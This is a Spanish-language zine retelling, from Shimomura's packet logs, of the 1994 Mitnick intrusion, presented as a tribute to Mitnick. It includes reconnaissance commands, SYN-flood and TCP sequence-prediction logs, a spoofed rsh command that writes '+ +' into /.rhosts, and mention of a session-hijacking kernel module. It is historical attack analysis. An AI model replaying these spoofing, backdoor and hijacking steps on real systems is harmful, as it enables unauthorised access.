Acid Klan3:(3.02):09/08/2001 << Back To Acid Klan3


:::CoMo MiTNiCk HaCkEo a Tsutomu S.::: Estos datos fueron obtenidos directo de los logs de Tsutomu Shimomura... Vean este texto como un tributo a Kevin Mitnick, no porque crea que es el mejor hacker (de serlo nunca hubiera aceptado un reto publico y mucho menos lo hubieran atrapado) sino que le dedico esto porque entien- do lo que se siente estar en prision y mas aun lo que es pasar tanto tiempo sin poder acercarse a ningun aparato de telecomunicaciones. Dos diferentes mecanismos de ataque se emprearon. Spoofin de la IP fuente y una secuencia de prediccion de numeros TCP para ganar acceso a una esta- cion de trabajo sin disco utilizada como terminal X. Despues de ganar root, secuestro una conexion a otro sistema fue secuestrada por medio de STREAMS cargables del kernel. En este texto hay partes extraidas de los logs de paquetes generados por este ataque. Para mantener la claridad y brevedad, algunos datos han sido omitidos. Les recomiendo el articulo de Stebe Bellovin y algunos mas acerca de Spoofin de IPs, ya que el describe con mas detalle la semantica de las conexiones TCP, asi como algunas sugerencias de como contrarrestar estos ataques. Mi configuracion es la siguiente: server = SPARC corriendo Solaris 1 sirviendo a mi terminal X. x-terminal = SPARC sin discos corriendo Solaris 1 blanco = El blanco primario aparente del ataque. El spoofing de IP empezo a las 14:09:32 el 25/12/94. Las primeras pruebas fueron desde toad.com (informacion obtenida el los logs de paquetes): toad.com# finger -l @target14:10:21 toad.com# finger -l @server toad.com# finger -l root@server14:11:07 toad.com# finger -l @x-terminal toad.com# showmount -e x-terminal toad.com# rpcinfo -p x-terminal toad.com# finger -l root@x-terminal El proposito aparente de estas pruebas es determinar si habia alguna forma de relacion de confianza entre estos sistemas que pudiera ser explotada :) Los puertos fuente para el showmount y rcpinfo indican que el atacante es root en toad.com. Seis minutos despues, vemos un monton de TCP SYNs (que son peticiones iniciales de conexion) desde 130.92.6.97 al puerto 513 (login) del servidor. El proposito de estos SYNs es el llenar la cola de conexion del puerto 513 en el servidor con conexiones "a medias" para que no conteste a ninguna nueva conexion. En particular, no generara TCP RSTs en respuesta a los reconocimientos de los SYNs. Como el puerto 513 es tambien un puerto "privilegiado", server.login puede ser usado como fuente putativa para el spoofing de la IP en los servicios r de unix (rsh, rlogin). 130.92.6.97 parece ser una direccion no usada al azar (una que no contesta a los paquetes que se le envian). 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096 Los reconocimients de SYNs para los primeros 8 requests antes de que la conexion se llene. El server retransmitira periodicamente los re- conocimientos de SYNs aun cuando no hay nada que reconocer en ellos. Ahora vemos 20 intentos de conexion desde apollo.it.luc.edu a la shell de x-terminal. El proposito de estos intentos es determinar el comportamiento del generador de secuencias TCP de la terminal X. Fijate que los numeros iniciales de la secuencia se incrementan +1 en cada conexion, lo que indica que los paquetes SYN no son generados por la implementacion TCP del sistema. Estos resultados en RSTs convenien- temente generados en respuesta a cada SYN no esperado, para que la cola de conexion en X-terminal no se llene completamente: apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0 Fijate que cada reconocimiento de paquete SYN enviada por la terminar tiene una secuencua de 128,000 mas grande que la anterior. Ahora vemos un SYN supuestamente del server.login a x-terminal.shell. Se presume que la x-terminal confia en el server asi que hara todo lo que le pida este (o lo que sea que se disfrace de server. la X-terminal contesta al server con un reconocimiento de SYN que debe ser reconocido para poder abrir la conexion. Como el servidor esta ignorando los paquetes enviandos al login (acuerdate que la cola esta llena), el recono- cimiento debe ser introducido por el atacante. Normalmente el numero de secuencia de reconocimiento del SYN es necesario para poder generar un reconocimiento valido. Como sea, el atacante es capaz de predecir el numero de secuenca contenido en el reconocimiento del SYN basadi en el comportamiento del generador de secuencias de TCP de la terminal X, y asi es capaz de reconocer el SYN sin verlo: server.login > x-terminal.shell: S 1382727010:138 2727010(0) win 4096 server.login > x-terminal.shell: . ack 2024384001 win 4096 La maquina de spoofing ahora tiene conexion de un a via a la shell de la terminal X que parece ser de server.login y puede mantener la conexion y mandar datos ya que puede reconocer datos enviado s por la terminal x. Manda lo siguiente: server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096 que correponde a server# rsh x-terminal "echo + + >>/.rhosts" Tiempo total tran scurrido desde el primer paquete: < 16 segundos Ahora se apaga la conexion spoofeada: server.login > x-terminal.shell: . ack 2 win 4096 server.login > x-terminal.shell: . ack 3 win 4096 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096 Ahoar vemos RSTs para resetar las conexiones "a medias" y vacias la cola de conexion de server.login: 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096 server.login puede ahora aceptar conexiones. Despues de sacar root por medio del spoofing de IP, se compila un modulo de kernel llamado tap-2.01 y se instala en x-terminal:x-terminal% modstat Id Type Loadaddr Size B-major C-major Sysnum Mod Name 1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha x-terminal% ls -l /dev/tapcrwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap Este parece ser un modulo de kernel de STREAMS que puede ser empujado a las STREAMS existentes y es usado para tomar control de la tty. Fue usado para tomar control de una sesion de login ya autentificada mas o menos a las 14:51 PST. Por supuesto, ningun ataque seria completo sin un toque personal... Checa: ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dee.au ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dum.au Estan en formato de audio de Sun, 8-bit u-law, 8 khz. By MIBXXX mibxxx@acidklan.org